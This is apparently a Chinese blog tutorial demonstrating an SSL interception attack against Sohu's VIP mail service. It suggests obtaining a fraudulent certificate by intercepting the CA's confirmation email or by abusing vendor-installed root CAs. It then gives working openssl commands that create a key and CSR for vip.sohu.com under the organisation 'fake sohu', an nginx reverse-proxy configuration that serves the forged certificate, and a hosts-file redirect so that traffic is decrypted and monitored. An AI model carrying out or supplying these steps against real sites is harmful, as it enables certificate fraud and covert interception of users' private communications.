这次带给大家的是SSL窃听攻击从理论到实际操作的成功例子。
SSL窃听最主要的是你要有一张合法的SSL证书,并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请,最低的价格只需要10美元不到,甚至还有一些域名注册商大批量采购这些证书,并且在你注册域名的时候免费送你一张。
对于低廉价格的域名SSL证书,CA签发的前提只有一个:只要你有申请的域名某几个特定的邮箱,并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。
所以,问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。
当然,还有更加简单的办法:国内不少软件在安装的时候,都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商,就可以任意生成证书,并且这些证书都是有效的,不会出现警告。
废话不多说了,开始干活。这里sohu的vip邮箱为例(他们能在整个使用过程中支持ssl),先生成一张vip.sohu.com的key和csr
Sam@Bra:~$ mkdir ssltestSam@Bra:~$ cd ssltestSam@Bra:~/ssltest$ openssl genrsa -out vip.sohu.com.key 1024Generating RSA private key, 1024 bit long modulus............++++++.....................++++++e is 65537 (0x10001)Sam@Bra:~/ssltest$ openssl req -new -key vip.sohu.com.key -out vip.sohu.com.csrYou are about to be asked to enter information that will be incorporatedinto your certificate request.What you are about to enter is what is called a Distinguished Name or a DN.There are quite a few fields but you can leave some blankFor some fields there will be a default value,If you enter '.', the field will be left blank.-----Country Name (2 letter code)[AU]:CNState or Province Name (full name)[Some-State]:BeiJingLocality Name (eg, city)[]:BeiJingOrganization Name (eg, company)[Internet Widgits Pty Ltd]:fake sohuOrganizational Unit Name (eg, section)[]:fakeCommon Name (eg, YOUR name)[]:vip.sohu.comEmail Address []:ssladmin@vip.sohu.com Please enter the following 'extra' attributesto be sent with your certificate requestA challenge password []:An optional company name []:[/pre]well,这样我们就有了一个用于vip.sohu.com的申请了,接着我们去签发这个申请
然后系统会给你一大堆管理员相关的邮箱等你去选
选上一个后,ca就会给你所选的邮箱发送一封确认邮件,邮件中带有一个连接,打开连接后会让你确认,确认后。。。嘿嘿,证书就到手了
把申请下来的证书保存一下,然后修改下nginx的配置文件,把证书加上,并且设置一个反向代理到vip.sohu.com,大概的样子如下
# HTTPS server # server { listen 443; server_name vip.sohu.com; ssl on; ssl_certificate sslkeys/vip.sohu.com.crt; ssl_certificate_key sslkeys/vip.sohu.com.key; ssl_session_timeout 5m; ssl_protocols SSLv2 SSLv3 TLSv1; ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP; ssl_prefer_server_ciphers on; location / { proxy_pass https://vip.sohu.com; } }[/pre]搞定,保存,重启nginx。修改本机的hosts文件,把vip.sohu.com这个域名指向nginx所在的服务器
127.0.0.1 vip.sohu.com[/pre]打开浏览器,输入https://vip.sohu.com,你会发现。。。。根本没任何报错或者警告信息!也就是说,ssl证书被成功替换,再就是说,你的所有传输都被劫持了。
经过测试,IE、firefox、safari等浏览器同仁纷纷表示对替换证书的行为毫不知情并对被替换后的证书予以大力支持,大肆宣扬被劫持的网站是高可信度的网站。
回头再简单阐述这个过程:用户访问一个网站,但中间已经被插了一层proxy。proxy使用了一个真实的并且高度可信的证书与用户交换数据。用户和proxy之间使用ssl加密通道交换数据。数据到了proxy后,会被解密并监听分析。之后proxy再模仿成一个client向网站的服务器发送数据,同样传输也是ssl加密的。网站的服务器对此毫不知情,只能获取到是proxy发出的请求,但其实proxy并不是最终用户,数据其实早已被监听并分析。
前面一张图是sohu自己原始的证书,第二张开始就是被替换后的证书